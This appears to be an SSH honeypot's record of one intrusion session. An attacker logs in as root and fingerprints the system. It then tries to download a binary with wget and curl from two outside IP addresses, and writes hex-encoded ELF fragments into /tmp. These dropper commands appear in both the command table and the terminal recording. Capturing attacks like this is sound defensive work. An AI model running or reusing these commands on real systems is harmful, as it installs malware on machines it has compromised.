Session `af08afa6...`

Back to sessions

45.12.1.49

Connected

2026-07-25 18:11:12

Disconnected

session ended

Commands

Auth

Auth Attempts

#	Username	Method	Result
1	root	none	DENY
2	root	password	ACCEPT

Commands

Time	Command	Exit
2026-07-25 18:11:14	`uname -s`	0
2026-07-25 18:11:15	`uname -m`	0
2026-07-25 18:11:16	`cd /tmp;rm -f amd64;wget -t 1 http://195.177.94.72:3594/s/amd64`	1
2026-07-25 18:11:26	`cd /tmp;curl -O --connect-timeout 10 http://195.177.94.72:3594/s/amd64`	1
2026-07-25 18:11:37	`cd /tmp;rm -f amd64;wget -t 1 http://45.88.91.135:35146/s/amd64`	1
2026-07-25 18:11:47	`cd /tmp;curl -O --connect-timeout 10 http://45.88.91.135:35146/s/amd64`	1
2026-07-25 18:11:58	echo -e -n "\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x3e\x00\x01\x00\x00\x00\x20\x7e\x46\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x38\x00\x06\x00\x40\x00\x0e\x00\x03\x00\x06\x00\x00\x00\x04\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x40\x00\x40\x00\x00\x00\x00\x00\x40\x00\x40\x00\x00\x00\x00\x00\x50\x01\x00\x00\x00\x00\x00\x00\x50\x01\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x9c\x0f\x00\x00\x00\x00\x00\x00\x9c\x0f\x40\x00\x00\x00\x00\x00\x9c\x0f\x40\x00\x00\x00\x00\x00\x64\x00\x00\x00\x00\x00\x00\x00\x64\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x17\x1a\x25\x00\x00\x00\x00\x00\x17\x1a\x25\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\x00\x20\x25\x00\x00\x00\x00\x00\x00\x20" >> /tmp/amd64	0
2026-07-25 18:11:59	echo -e -n "\x65\x00\x00\x00\x00\x00\x00\x20\x65\x00\x00\x00\x00\x00\x60\xc9\x25\x00\x00\x00\x00\x00\x60\xc9\x25\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00\xf0\x4a\x00\x00\x00\x00\x00\x00\xf0\x8a\x00\x00\x00\x00\x00\x00\xf0\x8a\x00\x00\x00\x00\x00\xc0\x05\x05\x00\x00\x00\x00\x00\x70\x75\x08\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x51\xe5\x74\x64\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x10\x40\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x17\x0a\x25\x00" >> /tmp/amd64	0
2026-07-25 18:11:59	echo -e -n "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5d\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x20\x65\x00\x00\x00\x00\x00\x00\x20\x25\x00\x00\x00\x00\x00\xef\x86\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8e\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa7\x34\x00\x00\x00\x00\x00\x98\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x65\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xa0\xa7\x74\x00\x00\x00\x00\x00\xa0\xa7\x34\x00\x00\x00\x00\x00\x0c\x17\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6f\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xc0\xbe\x74\x00\x00\x00\x00\x00\xc0\xbe\x34\x00\x00\x00" >> /tmp/amd64	0

Captured Files

Path	Method	Hash	Size	VirusTotal
`/tmp/amd64`	modified	`4f8fcdd4...`	1007	pending
`/tmp/amd64`	modified	`cdf402ce...`	2014	pending
`/tmp/amd64`	modified	`36a4428b...`	3021	pending

Terminal Recording

root@app-01:~# uname -s
Linux
root@app-01:~# uname -m
x86_64
root@app-01:~# cd /tmp;rm -f amd64;wget -t 1 http://195.177.94.72:3594/s/amd64
wget: http://1 failed: HTTP request failed: error sending request for url (http://0.0.0.1/)
root@app-01:/tmp# cd /tmp;curl -O --connect-timeout 10 http://195.177.94.72:3594/s/amd64
curl: http://10 failed: HTTP request failed: error sending request for url (http://0.0.0.10/)
root@app-01:/tmp# cd /tmp;rm -f amd64;wget -t 1 http://45.88.91.135:35146/s/amd64
wget: http://1 failed: HTTP request failed: error sending request for url (http://0.0.0.1/)
root@app-01:/tmp# cd /tmp;curl -O --connect-timeout 10 http://45.88.91.135:35146/s/amd64
curl: http://10 failed: HTTP request failed: error sending request for url (http://0.0.0.10/)
root@app-01:/tmp# echo -e -n "\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x3e\x00\x01\x00\x00\x00\x20\x7e\x46\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x38\x00\x06\x00\x40\x00\x0e\x00\x03\x00\x06\x00\x00\x00\x04\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x40\x00\x40\x00\x00\x00\x00\x00\x40\x00\x40\x00\x00\x00\x00\x00\x50\x01\x00\x00\x00\x00\x00\x00\x50\x01\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x9c\x0f\x00\x00\x00\x00\x00\x00\x9c\x0f\x40\x00\x00\x00\x00\x00\x9c\x0f\x40\x00\x00\x00\x00\x00\x64\x00\x00\x00\x00\x00\x00\x00\x64\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x17\x1a\x25\x00\x00\x00\x00\x00\x17\x1a\x25\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\x00\x20\x25\x00\x00\x00\x00\x00\x00\x20" >> /tmp/amd64
root@app-01:/tmp# echo -e -n "\x65\x00\x00\x00\x00\x00\x00\x20\x65\x00\x00\x00\x00\x00\x60\xc9\x25\x00\x00\x00\x00\x00\x60\xc9\x25\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00\xf0\x4a\x00\x00\x00\x00\x00\x00\xf0\x8a\x00\x00\x00\x00\x00\x00\xf0\x8a\x00\x00\x00\x00\x00\xc0\x05\x05\x00\x00\x00\x00\x00\x70\x75\x08\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x51\xe5\x74\x64\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x10\x40\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x17\x0a\x25\x00" >> /tmp/amd64
root@app-01:/tmp# echo -e -n "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5d\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x20\x65\x00\x00\x00\x00\x00\x00\x20\x25\x00\x00\x00\x00\x00\xef\x86\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8e\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa7\x34\x00\x00\x00\x00\x00\x98\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x65\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xa0\xa7\x74\x00\x00\x00\x00\x00\xa0\xa7\x34\x00\x00\x00\x00\x00\x0c\x17\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6f\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xc0\xbe\x74\x00\x00\x00\x00\x00\xc0\xbe\x34\x00\x00\x00" >> /tmp/amd64

Download raw asciicast — play with asciinema play file.cast

Session af08afa6...

Auth Attempts

Commands

Captured Files

Terminal Recording

Session `af08afa6...`